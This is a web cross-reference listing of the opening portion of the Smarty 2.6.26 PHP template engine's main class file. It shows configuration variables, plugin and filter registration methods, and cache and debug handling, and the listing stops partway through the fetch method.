Simple Groupware PHP Cross Reference Groupware Applications

Source: /src/lib/smarty/Smarty.class.php - 1970 lines - 65485 bytes - Summary - Text - Print

Description: Project:     Smarty: the PHP compiling template engine File:        Smarty.class.php This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version.

   1  <?php
   2  
   3  /**
   4   * Project:     Smarty: the PHP compiling template engine
   5   * File:        Smarty.class.php
   6   *
   7   * This library is free software; you can redistribute it and/or
   8   * modify it under the terms of the GNU Lesser General Public
   9   * License as published by the Free Software Foundation; either
  10   * version 2.1 of the License, or (at your option) any later version.
  11   *
  12   * This library is distributed in the hope that it will be useful,
  13   * but WITHOUT ANY WARRANTY; without even the implied warranty of
  14   * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
  15   * Lesser General Public License for more details.
  16   *
  17   * You should have received a copy of the GNU Lesser General Public
  18   * License along with this library; if not, write to the Free Software
  19   * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  20   *
  21   * For questions, help, comments, discussion, etc., please join the
  22   * Smarty mailing list. Send a blank e-mail to
  23   * smarty-discussion-subscribe@googlegroups.com 
  24   *
  25   * @link http://www.smarty.net/
  26   * @copyright 2001-2005 New Digital Group, Inc.
  27   * @author Monte Ohrt <monte at ohrt dot com>
  28   * @author Andrei Zmievski <andrei@php.net>
  29   * @package Smarty
  30   * @version 2.6.26
  31   */
  32  
  33  /* $Id: Smarty.class.php 3163 2009-06-17 14:39:24Z monte.ohrt $ */
  34  
  35  /**
  36   * DIR_SEP isn't used anymore, but third party apps might
  37   */
  38  if(!defined('DIR_SEP')) {
  39      define('DIR_SEP', DIRECTORY_SEPARATOR);
  40  }
  41  
  42  /**
  43   * set SMARTY_DIR to absolute path to Smarty library files.
  44   * if not defined, include_path will be used. Sets SMARTY_DIR only if user
  45   * application has not already defined it.
  46   */
  47  
  48  if (!defined('SMARTY_DIR')) {
  49      define('SMARTY_DIR', dirname(__FILE__) . DIRECTORY_SEPARATOR);
  50  }
  51  
  52  if (!defined('SMARTY_CORE_DIR')) {
  53      define('SMARTY_CORE_DIR', SMARTY_DIR . 'internals' . DIRECTORY_SEPARATOR);
  54  }
  55  
  56  define('SMARTY_PHP_PASSTHRU',   0);
  57  define('SMARTY_PHP_QUOTE',      1);
  58  define('SMARTY_PHP_REMOVE',     2);
  59  define('SMARTY_PHP_ALLOW',      3);
  60  
  61  /**
  62   * @package Smarty
  63   */
  64  class Smarty
  65  {
  66      /**#@+
  67       * Smarty Configuration Section
  68       */
  69  
  70      /**
  71       * The name of the directory where templates are located.
  72       *
  73       * @var string
  74       */
  75      var $template_dir    =  'templates';
  76  
  77      /**
  78       * The directory where compiled templates are located.
  79       *
  80       * @var string
  81       */
  82      var $compile_dir     =  'templates_c';
  83  
  84      /**
  85       * The directory where config files are located.
  86       *
  87       * @var string
  88       */
  89      var $config_dir      =  'configs';
  90  
  91      /**
  92       * An array of directories searched for plugins.
  93       *
  94       * @var array
  95       */
  96      var $plugins_dir     =  array('plugins');
  97  
  98      /**
  99       * If debugging is enabled, a debug console window will display
 100       * when the page loads (make sure your browser allows unrequested
 101       * popup windows)
 102       *
 103       * @var boolean
 104       */
 105      var $debugging       =  false;
 106  
 107      /**
 108       * When set, smarty does uses this value as error_reporting-level.
 109       *
 110       * @var integer
 111       */
 112      var $error_reporting  =  null;
 113  
 114      /**
 115       * This is the path to the debug console template. If not set,
 116       * the default one will be used.
 117       *
 118       * @var string
 119       */
 120      var $debug_tpl       =  '';
 121  
 122      /**
 123       * This determines if debugging is enable-able from the browser.
 124       * <ul>
 125       *  <li>NONE => no debugging control allowed</li>
 126       *  <li>URL => enable debugging when SMARTY_DEBUG is found in the URL.</li>
 127       * </ul>
 128       * @link http://www.foo.dom/index.php?SMARTY_DEBUG
 129       * @var string
 130       */
 131      var $debugging_ctrl  =  'NONE';
 132  
 133      /**
 134       * This tells Smarty whether to check for recompiling or not. Recompiling
 135       * does not need to happen unless a template or config file is changed.
 136       * Typically you enable this during development, and disable for
 137       * production.
 138       *
 139       * @var boolean
 140       */
 141      var $compile_check   =  true;
 142  
 143      /**
 144       * This forces templates to compile every time. Useful for development
 145       * or debugging.
 146       *
 147       * @var boolean
 148       */
 149      var $force_compile   =  false;
 150  
 151      /**
 152       * This enables template caching.
 153       * <ul>
 154       *  <li>0 = no caching</li>
 155       *  <li>1 = use class cache_lifetime value</li>
 156       *  <li>2 = use cache_lifetime in cache file</li>
 157       * </ul>
 158       * @var integer
 159       */
 160      var $caching         =  0;
 161  
 162      /**
 163       * The name of the directory for cache files.
 164       *
 165       * @var string
 166       */
 167      var $cache_dir       =  'cache';
 168  
 169      /**
 170       * This is the number of seconds cached content will persist.
 171       * <ul>
 172       *  <li>0 = always regenerate cache</li>
 173       *  <li>-1 = never expires</li>
 174       * </ul>
 175       *
 176       * @var integer
 177       */
 178      var $cache_lifetime  =  3600;
 179  
 180      /**
 181       * Only used when $caching is enabled. If true, then If-Modified-Since headers
 182       * are respected with cached content, and appropriate HTTP headers are sent.
 183       * This way repeated hits to a cached page do not send the entire page to the
 184       * client every time.
 185       *
 186       * @var boolean
 187       */
 188      var $cache_modified_check = false;
 189  
 190      /**
 191       * This determines how Smarty handles "<?php ... ?>" tags in templates.
 192       * possible values:
 193       * <ul>
 194       *  <li>SMARTY_PHP_PASSTHRU -> print tags as plain text</li>
 195       *  <li>SMARTY_PHP_QUOTE    -> escape tags as entities</li>
 196       *  <li>SMARTY_PHP_REMOVE   -> remove php tags</li>
 197       *  <li>SMARTY_PHP_ALLOW    -> execute php tags</li>
 198       * </ul>
 199       *
 200       * @var integer
 201       */
 202      var $php_handling    =  SMARTY_PHP_PASSTHRU;
 203  
 204      /**
 205       * This enables template security. When enabled, many things are restricted
 206       * in the templates that normally would go unchecked. This is useful when
 207       * untrusted parties are editing templates and you want a reasonable level
 208       * of security. (no direct execution of PHP in templates for example)
 209       *
 210       * @var boolean
 211       */
 212      var $security       =   false;
 213  
 214      /**
 215       * This is the list of template directories that are considered secure. This
 216       * is used only if {@link $security} is enabled. One directory per array
 217       * element.  {@link $template_dir} is in this list implicitly.
 218       *
 219       * @var array
 220       */
 221      var $secure_dir     =   array();
 222  
 223      /**
 224       * These are the security settings for Smarty. They are used only when
 225       * {@link $security} is enabled.
 226       *
 227       * @var array
 228       */
 229      var $security_settings  = array(
 230                                      'PHP_HANDLING'    => false,
 231                                      'IF_FUNCS'        => array('array', 'list',
 232                                                                 'isset', 'empty',
 233                                                                 'count', 'sizeof',
 234                                                                 'in_array', 'is_array',
 235                                                                 'true', 'false', 'null'),
 236                                      'INCLUDE_ANY'     => false,
 237                                      'PHP_TAGS'        => false,
 238                                      'MODIFIER_FUNCS'  => array('count'),
 239                                      'ALLOW_CONSTANTS' => false,
 240                                      'ALLOW_SUPER_GLOBALS' => true
 241                                     );
 242  
 243      /**
 244       * This is an array of directories where trusted php scripts reside.
 245       * {@link $security} is disabled during their inclusion/execution.
 246       *
 247       * @var array
 248       */
 249      var $trusted_dir        = array();
 250  
 251      /**
 252       * The left delimiter used for the template tags.
 253       *
 254       * @var string
 255       */
 256      var $left_delimiter  =  '{';
 257  
 258      /**
 259       * The right delimiter used for the template tags.
 260       *
 261       * @var string
 262       */
 263      var $right_delimiter =  '}';
 264  
 265      /**
 266       * The order in which request variables are registered, similar to
 267       * variables_order in php.ini E = Environment, G = GET, P = POST,
 268       * C = Cookies, S = Server
 269       *
 270       * @var string
 271       */
 272      var $request_vars_order    = 'EGPCS';
 273  
 274      /**
 275       * Indicates wether $HTTP_*_VARS[] (request_use_auto_globals=false)
 276       * are uses as request-vars or $_*[]-vars. note: if
 277       * request_use_auto_globals is true, then $request_vars_order has
 278       * no effect, but the php-ini-value "gpc_order"
 279       *
 280       * @var boolean
 281       */
 282      var $request_use_auto_globals      = true;
 283  
 284      /**
 285       * Set this if you want different sets of compiled files for the same
 286       * templates. This is useful for things like different languages.
 287       * Instead of creating separate sets of templates per language, you
 288       * set different compile_ids like 'en' and 'de'.
 289       *
 290       * @var string
 291       */
 292      var $compile_id            = null;
 293  
 294      /**
 295       * This tells Smarty whether or not to use sub dirs in the cache/ and
 296       * templates_c/ directories. sub directories better organized, but
 297       * may not work well with PHP safe mode enabled.
 298       *
 299       * @var boolean
 300       *
 301       */
 302      var $use_sub_dirs          = false;
 303  
 304      /**
 305       * This is a list of the modifiers to apply to all template variables.
 306       * Put each modifier in a separate array element in the order you want
 307       * them applied. example: <code>array('escape:"htmlall"');</code>
 308       *
 309       * @var array
 310       */
 311      var $default_modifiers        = array();
 312  
 313      /**
 314       * This is the resource type to be used when not specified
 315       * at the beginning of the resource path. examples:
 316       * $smarty->display('file:index.tpl');
 317       * $smarty->display('db:index.tpl');
 318       * $smarty->display('index.tpl'); // will use default resource type
 319       * {include file="file:index.tpl"}
 320       * {include file="db:index.tpl"}
 321       * {include file="index.tpl"} {* will use default resource type *}
 322       *
 323       * @var array
 324       */
 325      var $default_resource_type    = 'file';
 326  
 327      /**
 328       * The function used for cache file handling. If not set, built-in caching is used.
 329       *
 330       * @var null|string function name
 331       */
 332      var $cache_handler_func   = null;
 333  
 334      /**
 335       * This indicates which filters are automatically loaded into Smarty.
 336       *
 337       * @var array array of filter names
 338       */
 339      var $autoload_filters = array();
 340  
 341      /**#@+
 342       * @var boolean
 343       */
 344      /**
 345       * This tells if config file vars of the same name overwrite each other or not.
 346       * if disabled, same name variables are accumulated in an array.
 347       */
 348      var $config_overwrite = true;
 349  
 350      /**
 351       * This tells whether or not to automatically booleanize config file variables.
 352       * If enabled, then the strings "on", "true", and "yes" are treated as boolean
 353       * true, and "off", "false" and "no" are treated as boolean false.
 354       */
 355      var $config_booleanize = true;
 356  
 357      /**
 358       * This tells whether hidden sections [.foobar] are readable from the
 359       * tempalates or not. Normally you would never allow this since that is
 360       * the point behind hidden sections: the application can access them, but
 361       * the templates cannot.
 362       */
 363      var $config_read_hidden = false;
 364  
 365      /**
 366       * This tells whether or not automatically fix newlines in config files.
 367       * It basically converts \r (mac) or \r\n (dos) to \n
 368       */
 369      var $config_fix_newlines = true;
 370      /**#@-*/
 371  
 372      /**
 373       * If a template cannot be found, this PHP function will be executed.
 374       * Useful for creating templates on-the-fly or other special action.
 375       *
 376       * @var string function name
 377       */
 378      var $default_template_handler_func = '';
 379  
 380      /**
 381       * The file that contains the compiler class. This can a full
 382       * pathname, or relative to the php_include path.
 383       *
 384       * @var string
 385       */
 386      var $compiler_file        =    'Smarty_Compiler.class.php';
 387  
 388      /**
 389       * The class used for compiling templates.
 390       *
 391       * @var string
 392       */
 393      var $compiler_class        =   'Smarty_Compiler';
 394  
 395      /**
 396       * The class used to load config vars.
 397       *
 398       * @var string
 399       */
 400      var $config_class          =   'Config_File';
 401  
 402  /**#@+
 403   * END Smarty Configuration Section
 404   * There should be no need to touch anything below this line.
 405   * @access private
 406   */
 407      /**
 408       * where assigned template vars are kept
 409       *
 410       * @var array
 411       */
 412      var $_tpl_vars             = array();
 413  
 414      /**
 415       * stores run-time $smarty.* vars
 416       *
 417       * @var null|array
 418       */
 419      var $_smarty_vars          = null;
 420  
 421      /**
 422       * keeps track of sections
 423       *
 424       * @var array
 425       */
 426      var $_sections             = array();
 427  
 428      /**
 429       * keeps track of foreach blocks
 430       *
 431       * @var array
 432       */
 433      var $_foreach              = array();
 434  
 435      /**
 436       * keeps track of tag hierarchy
 437       *
 438       * @var array
 439       */
 440      var $_tag_stack            = array();
 441  
 442      /**
 443       * configuration object
 444       *
 445       * @var Config_file
 446       */
 447      var $_conf_obj             = null;
 448  
 449      /**
 450       * loaded configuration settings
 451       *
 452       * @var array
 453       */
 454      var $_config               = array(array('vars'  => array(), 'files' => array()));
 455  
 456      /**
 457       * md5 checksum of the string 'Smarty'
 458       *
 459       * @var string
 460       */
 461      var $_smarty_md5           = 'f8d698aea36fcbead2b9d5359ffca76f';
 462  
 463      /**
 464       * Smarty version number
 465       *
 466       * @var string
 467       */
 468      var $_version              = '2.6.26';
 469  
 470      /**
 471       * current template inclusion depth
 472       *
 473       * @var integer
 474       */
 475      var $_inclusion_depth      = 0;
 476  
 477      /**
 478       * for different compiled templates
 479       *
 480       * @var string
 481       */
 482      var $_compile_id           = null;
 483  
 484      /**
 485       * text in URL to enable debug mode
 486       *
 487       * @var string
 488       */
 489      var $_smarty_debug_id      = 'SMARTY_DEBUG';
 490  
 491      /**
 492       * debugging information for debug console
 493       *
 494       * @var array
 495       */
 496      var $_smarty_debug_info    = array();
 497  
 498      /**
 499       * info that makes up a cache file
 500       *
 501       * @var array
 502       */
 503      var $_cache_info           = array();
 504  
 505      /**
 506       * default file permissions
 507       *
 508       * @var integer
 509       */
 510      var $_file_perms           = 0644;
 511  
 512      /**
 513       * default dir permissions
 514       *
 515       * @var integer
 516       */
 517      var $_dir_perms               = 0771;
 518  
 519      /**
 520       * registered objects
 521       *
 522       * @var array
 523       */
 524      var $_reg_objects           = array();
 525  
 526      /**
 527       * table keeping track of plugins
 528       *
 529       * @var array
 530       */
 531      var $_plugins              = array(
 532                                         'modifier'      => array(),
 533                                         'function'      => array(),
 534                                         'block'         => array(),
 535                                         'compiler'      => array(),
 536                                         'prefilter'     => array(),
 537                                         'postfilter'    => array(),
 538                                         'outputfilter'  => array(),
 539                                         'resource'      => array(),
 540                                         'insert'        => array());
 541  
 542      /**
 543       * cache serials
 544       *
 545       * @var array
 546       */
 547      var $_cache_serials = array();
 548  
 549      /**
 550       * name of optional cache include file
 551       *
 552       * @var string
 553       */
 554      var $_cache_include = null;
 555  
 556      /**
 557       * indicate if the current code is used in a compiled
 558       * include
 559       *
 560       * @var string
 561       */
 562      var $_cache_including = false;
 563  
 564      /**#@-*/
 565      /**
 566       * The class constructor.
 567       */
 568      function Smarty()
 569      {
 570        $this->assign('SCRIPT_NAME', isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME']
 571                      : @$GLOBALS['HTTP_SERVER_VARS']['SCRIPT_NAME']);
 572      }
 573  
 574      /**
 575       * assigns values to template variables
 576       *
 577       * @param array|string $tpl_var the template variable name(s)
 578       * @param mixed $value the value to assign
 579       */
 580      function assign($tpl_var, $value = null)
 581      {
 582          if (is_array($tpl_var)){
 583              foreach ($tpl_var as $key => $val) {
 584                  if ($key != '') {
 585                      $this->_tpl_vars[$key] = $val;
 586                  }
 587              }
 588          } else {
 589              if ($tpl_var != '')
 590                  $this->_tpl_vars[$tpl_var] = $value;
 591          }
 592      }
 593  
 594      /**
 595       * assigns values to template variables by reference
 596       *
 597       * @param string $tpl_var the template variable name
 598       * @param mixed $value the referenced value to assign
 599       */
 600      function assign_by_ref($tpl_var, &$value)
 601      {
 602          if ($tpl_var != '')
 603              $this->_tpl_vars[$tpl_var] = &$value;
 604      }
 605  
 606      /**
 607       * appends values to template variables
 608       *
 609       * @param array|string $tpl_var the template variable name(s)
 610       * @param mixed $value the value to append
 611       */
 612      function append($tpl_var, $value=null, $merge=false)
 613      {
 614          if (is_array($tpl_var)) {
 615              // $tpl_var is an array, ignore $value
 616              foreach ($tpl_var as $_key => $_val) {
 617                  if ($_key != '') {
 618                      if(!@is_array($this->_tpl_vars[$_key])) {
 619                          settype($this->_tpl_vars[$_key],'array');
 620                      }
 621                      if($merge && is_array($_val)) {
 622                          foreach($_val as $_mkey => $_mval) {
 623                              $this->_tpl_vars[$_key][$_mkey] = $_mval;
 624                          }
 625                      } else {
 626                          $this->_tpl_vars[$_key][] = $_val;
 627                      }
 628                  }
 629              }
 630          } else {
 631              if ($tpl_var != '' && isset($value)) {
 632                  if(!@is_array($this->_tpl_vars[$tpl_var])) {
 633                      settype($this->_tpl_vars[$tpl_var],'array');
 634                  }
 635                  if($merge && is_array($value)) {
 636                      foreach($value as $_mkey => $_mval) {
 637                          $this->_tpl_vars[$tpl_var][$_mkey] = $_mval;
 638                      }
 639                  } else {
 640                      $this->_tpl_vars[$tpl_var][] = $value;
 641                  }
 642              }
 643          }
 644      }
 645  
 646      /**
 647       * appends values to template variables by reference
 648       *
 649       * @param string $tpl_var the template variable name
 650       * @param mixed $value the referenced value to append
 651       */
 652      function append_by_ref($tpl_var, &$value, $merge=false)
 653      {
 654          if ($tpl_var != '' && isset($value)) {
 655              if(!@is_array($this->_tpl_vars[$tpl_var])) {
 656               settype($this->_tpl_vars[$tpl_var],'array');
 657              }
 658              if ($merge && is_array($value)) {
 659                  foreach($value as $_key => $_val) {
 660                      $this->_tpl_vars[$tpl_var][$_key] = &$value[$_key];
 661                  }
 662              } else {
 663                  $this->_tpl_vars[$tpl_var][] = &$value;
 664              }
 665          }
 666      }
 667  
 668      /**
 669       * clear the given assigned template variable.
 670       *
 671       * @param string $tpl_var the template variable to clear
 672       */
 673      function clear_assign($tpl_var)
 674      {
 675          if (is_array($tpl_var))
 676              foreach ($tpl_var as $curr_var)
 677                  unset($this->_tpl_vars[$curr_var]);
 678          else
 679              unset($this->_tpl_vars[$tpl_var]);
 680      }
 681  
 682      /**
 683       * Registers custom function to be used in templates
 684       *
 685       * @param string $function the name of the template function
 686       * @param string $function_impl the name of the PHP function to register
 687       */
 688      function register_function($function, $function_impl, $cacheable=true, $cache_attrs=null)
 689      {
 690          $this->_plugins['function'][$function] =
 691              array($function_impl, null, null, false, $cacheable, $cache_attrs);
 692  
 693      }
 694  
 695      /**
 696       * Unregisters custom function
 697       *
 698       * @param string $function name of template function
 699       */
 700      function unregister_function($function)
 701      {
 702          unset($this->_plugins['function'][$function]);
 703      }
 704  
 705      /**
 706       * Registers object to be used in templates
 707       *
 708       * @param string $object name of template object
 709       * @param object &$object_impl the referenced PHP object to register
 710       * @param null|array $allowed list of allowed methods (empty = all)
 711       * @param boolean $smarty_args smarty argument format, else traditional
 712       * @param null|array $block_functs list of methods that are block format
 713       */
 714      function register_object($object, &$object_impl, $allowed = array(), $smarty_args = true, $block_methods = array())
 715      {
 716          settype($allowed, 'array');
 717          settype($smarty_args, 'boolean');
 718          $this->_reg_objects[$object] =
 719              array(&$object_impl, $allowed, $smarty_args, $block_methods);
 720      }
 721  
 722      /**
 723       * Unregisters object
 724       *
 725       * @param string $object name of template object
 726       */
 727      function unregister_object($object)
 728      {
 729          unset($this->_reg_objects[$object]);
 730      }
 731  
 732      /**
 733       * Registers block function to be used in templates
 734       *
 735       * @param string $block name of template block
 736       * @param string $block_impl PHP function to register
 737       */
 738      function register_block($block, $block_impl, $cacheable=true, $cache_attrs=null)
 739      {
 740          $this->_plugins['block'][$block] =
 741              array($block_impl, null, null, false, $cacheable, $cache_attrs);
 742      }
 743  
 744      /**
 745       * Unregisters block function
 746       *
 747       * @param string $block name of template function
 748       */
 749      function unregister_block($block)
 750      {
 751          unset($this->_plugins['block'][$block]);
 752      }
 753  
 754      /**
 755       * Registers compiler function
 756       *
 757       * @param string $function name of template function
 758       * @param string $function_impl name of PHP function to register
 759       */
 760      function register_compiler_function($function, $function_impl, $cacheable=true)
 761      {
 762          $this->_plugins['compiler'][$function] =
 763              array($function_impl, null, null, false, $cacheable);
 764      }
 765  
 766      /**
 767       * Unregisters compiler function
 768       *
 769       * @param string $function name of template function
 770       */
 771      function unregister_compiler_function($function)
 772      {
 773          unset($this->_plugins['compiler'][$function]);
 774      }
 775  
 776      /**
 777       * Registers modifier to be used in templates
 778       *
 779       * @param string $modifier name of template modifier
 780       * @param string $modifier_impl name of PHP function to register
 781       */
 782      function register_modifier($modifier, $modifier_impl)
 783      {
 784          $this->_plugins['modifier'][$modifier] =
 785              array($modifier_impl, null, null, false);
 786      }
 787  
 788      /**
 789       * Unregisters modifier
 790       *
 791       * @param string $modifier name of template modifier
 792       */
 793      function unregister_modifier($modifier)
 794      {
 795          unset($this->_plugins['modifier'][$modifier]);
 796      }
 797  
 798      /**
 799       * Registers a resource to fetch a template
 800       *
 801       * @param string $type name of resource
 802       * @param array $functions array of functions to handle resource
 803       */
 804      function register_resource($type, $functions)
 805      {
 806          if (count($functions)==4) {
 807              $this->_plugins['resource'][$type] =
 808                  array($functions, false);
 809  
 810          } elseif (count($functions)==5) {
 811              $this->_plugins['resource'][$type] =
 812                  array(array(array(&$functions[0], $functions[1])
 813                              ,array(&$functions[0], $functions[2])
 814                              ,array(&$functions[0], $functions[3])
 815                              ,array(&$functions[0], $functions[4]))
 816                        ,false);
 817  
 818          } else {
 819              $this->trigger_error("malformed function-list for '$type' in register_resource");
 820  
 821          }
 822      }
 823  
 824      /**
 825       * Unregisters a resource
 826       *
 827       * @param string $type name of resource
 828       */
 829      function unregister_resource($type)
 830      {
 831          unset($this->_plugins['resource'][$type]);
 832      }
 833  
 834      /**
 835       * Registers a prefilter function to apply
 836       * to a template before compiling
 837       *
 838       * @param callback $function
 839       */
 840      function register_prefilter($function)
 841      {
 842          $this->_plugins['prefilter'][$this->_get_filter_name($function)]
 843              = array($function, null, null, false);
 844      }
 845  
 846      /**
 847       * Unregisters a prefilter function
 848       *
 849       * @param callback $function
 850       */
 851      function unregister_prefilter($function)
 852      {
 853          unset($this->_plugins['prefilter'][$this->_get_filter_name($function)]);
 854      }
 855  
 856      /**
 857       * Registers a postfilter function to apply
 858       * to a compiled template after compilation
 859       *
 860       * @param callback $function
 861       */
 862      function register_postfilter($function)
 863      {
 864          $this->_plugins['postfilter'][$this->_get_filter_name($function)]
 865              = array($function, null, null, false);
 866      }
 867  
 868      /**
 869       * Unregisters a postfilter function
 870       *
 871       * @param callback $function
 872       */
 873      function unregister_postfilter($function)
 874      {
 875          unset($this->_plugins['postfilter'][$this->_get_filter_name($function)]);
 876      }
 877  
 878      /**
 879       * Registers an output filter function to apply
 880       * to a template output
 881       *
 882       * @param callback $function
 883       */
 884      function register_outputfilter($function)
 885      {
 886          $this->_plugins['outputfilter'][$this->_get_filter_name($function)]
 887              = array($function, null, null, false);
 888      }
 889  
 890      /**
 891       * Unregisters an outputfilter function
 892       *
 893       * @param callback $function
 894       */
 895      function unregister_outputfilter($function)
 896      {
 897          unset($this->_plugins['outputfilter'][$this->_get_filter_name($function)]);
 898      }
 899  
 900      /**
 901       * load a filter of specified type and name
 902       *
 903       * @param string $type filter type
 904       * @param string $name filter name
 905       */
 906      function load_filter($type, $name)
 907      {
 908          switch ($type) {
 909              case 'output':
 910                  $_params = array('plugins' => array(array($type . 'filter', $name, null, null, false)));
 911                  require_once(SMARTY_CORE_DIR . 'core.load_plugins.php');
 912                  smarty_core_load_plugins($_params, $this);
 913                  break;
 914  
 915              case 'pre':
 916              case 'post':
 917                  if (!isset($this->_plugins[$type . 'filter'][$name]))
 918                      $this->_plugins[$type . 'filter'][$name] = false;
 919                  break;
 920          }
 921      }
 922  
 923      /**
 924       * clear cached content for the given template and cache id
 925       *
 926       * @param string $tpl_file name of template file
 927       * @param string $cache_id name of cache_id
 928       * @param string $compile_id name of compile_id
 929       * @param string $exp_time expiration time
 930       * @return boolean
 931       */
 932      function clear_cache($tpl_file = null, $cache_id = null, $compile_id = null, $exp_time = null)
 933      {
 934  
 935          if (!isset($compile_id))
 936              $compile_id = $this->compile_id;
 937  
 938      if (!isset($tpl_file))
 939          $compile_id = null;
 940  
 941      $_auto_id = $this->_get_auto_id($cache_id, $compile_id);
 942  
 943          if (!empty($this->cache_handler_func)) {
 944              return call_user_func_array($this->cache_handler_func,
 945                                    array('clear', &$this, &$dummy, $tpl_file, $cache_id, $compile_id, $exp_time));
 946          } else {
 947              $_params = array('auto_base' => $this->cache_dir,
 948                              'auto_source' => $tpl_file,
 949                              'auto_id' => $_auto_id,
 950                              'exp_time' => $exp_time);
 951              require_once(SMARTY_CORE_DIR . 'core.rm_auto.php');
 952              return smarty_core_rm_auto($_params, $this);
 953          }
 954  
 955      }
 956  
 957      /**
 958       * clear the entire contents of cache (all templates)
 959       *
 960       * @param string $exp_time expire time
 961       * @return boolean results of {@link smarty_core_rm_auto()}
 962       */
 963      function clear_all_cache($exp_time = null)
 964      {
 965          return $this->clear_cache(null, null, null, $exp_time);
 966      }
 967  
 968      /**
 969       * test to see if valid cache exists for this template
 970       *
 971       * @param string $tpl_file name of template file
 972       * @param string $cache_id
 973       * @param string $compile_id
 974       * @return string|false results of {@link _read_cache_file()}
 975       */
 976      function is_cached($tpl_file, $cache_id = null, $compile_id = null)
 977      {
 978          if (!$this->caching)
 979              return false;
 980  
 981          if (!isset($compile_id))
 982              $compile_id = $this->compile_id;
 983  
 984          $_params = array(
 985              'tpl_file' => $tpl_file,
 986              'cache_id' => $cache_id,
 987              'compile_id' => $compile_id
 988          );
 989          require_once(SMARTY_CORE_DIR . 'core.read_cache_file.php');
 990          return smarty_core_read_cache_file($_params, $this);
 991      }
 992  
 993      /**
 994       * clear all the assigned template variables.
 995       *
 996       */
 997      function clear_all_assign()
 998      {
 999          $this->_tpl_vars = array();
1000      }
1001  
1002      /**
1003       * clears compiled version of specified template resource,
1004       * or all compiled template files if one is not specified.
1005       * This function is for advanced use only, not normally needed.
1006       *
1007       * @param string $tpl_file
1008       * @param string $compile_id
1009       * @param string $exp_time
1010       * @return boolean results of {@link smarty_core_rm_auto()}
1011       */
1012      function clear_compiled_tpl($tpl_file = null, $compile_id = null, $exp_time = null)
1013      {
1014          if (!isset($compile_id)) {
1015              $compile_id = $this->compile_id;
1016          }
1017          $_params = array('auto_base' => $this->compile_dir,
1018                          'auto_source' => $tpl_file,
1019                          'auto_id' => $compile_id,
1020                          'exp_time' => $exp_time,
1021                          'extensions' => array('.inc', '.php'));
1022          require_once(SMARTY_CORE_DIR . 'core.rm_auto.php');
1023          return smarty_core_rm_auto($_params, $this);
1024      }
1025  
1026      /**
1027       * Checks whether requested template exists.
1028       *
1029       * @param string $tpl_file
1030       * @return boolean
1031       */
1032      function template_exists($tpl_file)
1033      {
1034          $_params = array('resource_name' => $tpl_file, 'quiet'=>true, 'get_source'=>false);
1035          return $this->_fetch_resource_info($_params);
1036      }
1037  
1038      /**
1039       * Returns an array containing template variables
1040       *
1041       * @param string $name
1042       * @param string $type
1043       * @return array
1044       */
1045      function &get_template_vars($name=null)
1046      {
1047          if(!isset($name)) {
1048              return $this->_tpl_vars;
1049          } elseif(isset($this->_tpl_vars[$name])) {
1050              return $this->_tpl_vars[$name];
1051          } else {
1052              // var non-existant, return valid reference
1053              $_tmp = null;
1054              return $_tmp;   
1055          }
1056      }
1057  
1058      /**
1059       * Returns an array containing config variables
1060       *
1061       * @param string $name
1062       * @param string $type
1063       * @return array
1064       */
1065      function &get_config_vars($name=null)
1066      {
1067          if(!isset($name) && is_array($this->_config[0])) {
1068              return $this->_config[0]['vars'];
1069          } else if(isset($this->_config[0]['vars'][$name])) {
1070              return $this->_config[0]['vars'][$name];
1071          } else {
1072              // var non-existant, return valid reference
1073              $_tmp = null;
1074              return $_tmp;
1075          }
1076      }
1077  
1078      /**
1079       * trigger Smarty error
1080       *
1081       * @param string $error_msg
1082       * @param integer $error_type
1083       */
1084      function trigger_error($error_msg, $error_type = E_USER_WARNING)
1085      {
1086          trigger_error("Smarty error: $error_msg", $error_type);
1087      }
1088  
1089      /**
1090       * executes & displays the template results
1091       *
1092       * @param string $resource_name
1093       * @param string $cache_id
1094       * @param string $compile_id
1095       */
1096      function display($resource_name, $cache_id = null, $compile_id = null)
1097      {
1098          $this->fetch($resource_name, $cache_id, $compile_id, true);
1099      }
1100  
1101      /**
1102       * executes & returns or displays the template results
1103       *
1104       * @param string $resource_name
1105       * @param string $cache_id
1106       * @param string $compile_id
1107       * @param boolean $display
1108       */
1109      function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)
1110      {
1111          static $_cache_info = array();
1112          
1113          $_smarty_old_error_level = $this->debugging ? error_reporting() : error_reporting(isset($this->error_reporting)
1114                 ? $this->error_reporting : error_reporting() & ~E_NOTICE);
1115  
1116          if (!$this->debugging && $this->debugging_ctrl == 'URL') {
1117              $_query_string = $this->request_use_auto_globals ? $_SERVER['QUERY_STRING'] : $GLOBALS['HTTP_SERVER_VARS']['QUERY_STRING'];
1118              if (@strstr($_query_string, $this->_smarty_debug_id)) {
1119                  if (@strstr($_query_string, $this->_smarty_debug_id . '=on')) {
1120                      // enable debugging for this browser session
1121                      @setcookie('SMARTY_DEBUG', true);
1122                      $this->debugging = true;
1123                  } elseif (@strstr($_query_string, $this->_smarty_debug_id . '=off')) {
1124                      // disable debugging for this browser session
1125                      @setcookie('SMARTY_DEBUG', false);
1126                      $this->debugging = false;
1127                  } else {
1128                      // enable debugging for this page
1129                      $this->debugging = true;
1130                  }
1131              } else {
1132                  $this->debugging = (bool)($this->request_use_auto_globals ? @$_COOKIE['SMARTY_DEBUG'] : @$GLOBALS['HTTP_COOKIE_VARS']['SMARTY_DEBUG']);
1133              }
1134          }
1135  
1136          if ($this->debugging) {
1137              // capture time for debugging info
1138              $_params = array();
1139              require_once (SMARTY_CORE_DIR . 'core.get_microtime.php');
1140              $_debug_start_time = smarty_core_get_microtime($_params, $this);
1141              $this->_smarty_debug_info[] = array('type'      => 'template',
1142                                                  'filename'  => $resource_name,
1143                                                  'depth'     => 0);
1144              $_included_tpls_idx = count($this->_smarty_debug_info) - 1;
1145          }
1146  
1147          if (!isset($compile_id)) {
1148              $compile_id = $this->compile_id;
1149          }
1150  
1151          $this->_compile_id = $compile_id;
1152          $this->_inclusion_depth = 0;
1153  
1154          if ($this->caching) {
1155              // save old cache_info, initialize cache_info
1156              array_push($_cache_info, $this->_cache_info);
1157              $this->_cache_info = array();
1158              $_params = array(
1159                  'tpl_file' => $resource_name,
1160                  'cache_id' => $cache_id,
1161                  'compile_id' => $compile_id,
1162                  'results' => null
1163              );
1164              require_once(SMARTY_CORE_DIR . 'core.read_cache_file.php');
